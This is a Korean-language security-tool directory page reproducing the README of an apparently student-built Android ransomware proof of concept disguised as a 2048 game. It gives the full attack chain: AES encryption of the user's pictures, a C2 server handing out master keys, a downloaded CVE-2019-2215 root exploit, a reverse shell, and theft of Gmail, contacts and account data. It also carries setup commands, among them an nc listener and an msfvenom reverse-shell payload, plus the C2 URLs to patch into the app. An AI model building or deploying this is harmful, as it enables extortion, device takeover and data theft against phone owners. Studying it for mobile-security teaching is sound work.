Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Rootsmart-v2.0 — Android 랜섬웨어 개발 - AES256 암호화 + CVE-2019-2215 (리버스 루트 셸) + 데이터 유출 | Kitploit
도구/GitHubGitHub/nicchongwb/rootsmart-v2.0
Android SecurityPrivilege EscalationEncryption/Decryption ToolsExploitationLateral MovementData ExfiltrationMalware AnalysisMobile SecurityCommand and ControlLearning & EducationPayload DevelopmentArchived
114년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubnicchongwb/rootsmart-v2.0

Rootsmart-v2.0

Android 랜섬웨어 개발 - AES256 암호화 + CVE-2019-2215 (리버스 루트 셸) + 데이터 유출

저장소 보기

Rootsmart 2.0 w/ cve-2019-2215 + Ransomware

면책 조항

이 프로젝트는 오직 교육 목적으로만 사용됩니다. 이 프로젝트는 rkshrksh/2048-Game 및 kangtastic/cve-2019-2215의 코드를 활용합니다.


프로젝트 설명

이 프로젝트는 싱가포르 공과대학(Singapore Institute of Technology) 모바일 보안 과목의 일부입니다. 프로젝트는 6주 이내에 완료되었으며, 악성 안드로이드 애플리케이션을 개발하는 것을 목표로 했습니다. 이를 통해 Android OS에서 보안 메커니즘이 어떻게 구현되는지, 그리고 OWASP Mobile Top 10:2017 M8 - 코드 변조(Code Tampering)를 어떻게 활용할 수 있는지 배울 수 있었습니다.

이 프로젝트는 AES 암호화를 사용하는 맞춤형 랜섬웨어, cve-2019-2215의 무기화, 그리고 감염된 기기에서 데이터 유출을 시연하는 개념 증명(PoC)입니다.

Android 10 및 Google Pixel 2 XL에서 테스트되었습니다.

root@kitploit:~
├── 2048-Game 					// Android 프로젝트 폴더
├── 2048-keystore				// 테스트 키스토어
├── cve-2019-2215				// 수정된 cve-2019-2215
│	└── cve-2019-2215.c
├── dropper_server				// 드로퍼 서버 디렉토리
│	├── cve-2019-2215			// 압축 전 shells.zip 내용물
│	├── dropper_server.py		// 드로퍼 서버 프로그램
│	├── exfiltrated_data.log
│	├── masterkeys.txt
│	├── ncat.exe 				// Netcat Windows 바이너리 - 리버스 셸 리스너용
│	├── requirements.txt
│	├── shells.zip  			// 드로퍼 서버 루트에 호스팅되는 shells.zip
│	└── venv
└── test_images    				// adb push <image.ext> /sdcard/Pictures를 위한 테스트 이미지
공격 벡터:
  1. 애플리케이션 설치 및 실행, 권한 부여
  2. 랜섬웨어가 /sdcard/Pictures의 모든 파일을 AES 암호화
  3. 각 파일은 무작위로 생성된 키로 암호화
  4. 키는 /sdcard/keys.json에 저장되며, 각 키:값 쌍은 filepath:key 형태
  5. C2 서버로 HTTP GET /get_mk 요청을 보내 응답 본문에서 마스터키(MasterKey)와 피해자 ID(VictimID)를 가져옴
  6. 마스터키가 keys.json을 암호화하고, 피해자 ID는 /sdcard/victimID.txt에 저장
  7. 애플리케이션이 shells.zip을 다운로드하고 압축 해제
  8. 압축 해제된 내용에서 cve-2019-2215 바이너리 실행
  9. 루트 셸 프로세스가 생성되고 압축 해제된 내용의 install.sh 실행
  10. install.sh가 압축 해제된 내용의 rs.elf를 실행하여 공격 서버로 리버스 연결 전송
  11. 애플리케이션이 기기의 Gmail, 사용자 계정 정보, 연락처를 유출
데모

https://user-images.githubusercontent.com/56181271/155875246-092a3954-2f42-42b7-a00e-581a1bbf0546.mp4


C2 (Command & Control) - 설정

이 테스트를 위해 피해자 전화기와 C2 서버가 동일한 서브넷에 있는지 확인하세요 (그렇지 않으면 C2를 공용 인터넷에 호스팅하세요). C2 서버에는 dropper/dropper_server.py에서 찾을 수 있는 3개의 엔드포인트가 있습니다:

  1. /process_command - GET 요청으로 shells.zip을 다운로드하고 cve-2019-2215 루트 익스플로잇 실행
  2. /get_mk - GET 요청으로 피해자 ID:마스터키 키-값 쌍을 얻어 /sdcard/keys.json 암호화
  3. /postData - POST 요청으로 유출된 Gmail, 연락처, 계정 정보 전송
리버스 셸 서버
root@kitploit:~
nc -lvnp 1337 # 이상적으로는 드로퍼 서버와 동일한 IP여야 함
드로퍼 서버
root@kitploit:~
# rs.elf 페이로드 생성
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<공격자 IP> LPORT=<공격자 포트> -f elf > rs.elf

# WSL이 localhost 트래픽을 Windows 호스트로 포워딩하지 않는 경우 Windows에서 Flask를 실행하는 것이 좋음
cd dropper
python3 -m venv venv # venv 생성

# venv 활성화
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # 호스트 셸이 root/Administrator인지 확인

# C2 서버 실행
python3 dropper_server.py # WSL
python dropper_server.py # Windows

/dropper의 shells.zip

  1. dropper/cve-2019-2215 폴더로 이동
  2. rs.elf 생성 후, rs.elf + cve-2019-2215, install.sh를 압축
  3. zip 파일 이름을 shells.zip으로 변경
  4. shells.zip을 /dropper로 이동

APK 컴파일 전 다음 항목 수정

Java 클래스

root@kitploit:~
// 파일 : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// 드로퍼 서버 IP 및 포트에 맞게 IP와 포트 변경
String URL = "http://192.168.157.73:8080/process_command"; // 19번째 줄

// 파일 : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// 드로퍼 서버 IP 및 포트에 맞게 IP와 포트 변경
String URL = "http://192.168.157.73:8080/get_mk"; // 45번째 줄

// 파일 : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// 드로퍼 서버 IP 및 포트에 맞게 IP와 포트 변경
String urlString = "http://192.168.157.73:8080/postData"; // 32번째 줄
도구 다운로드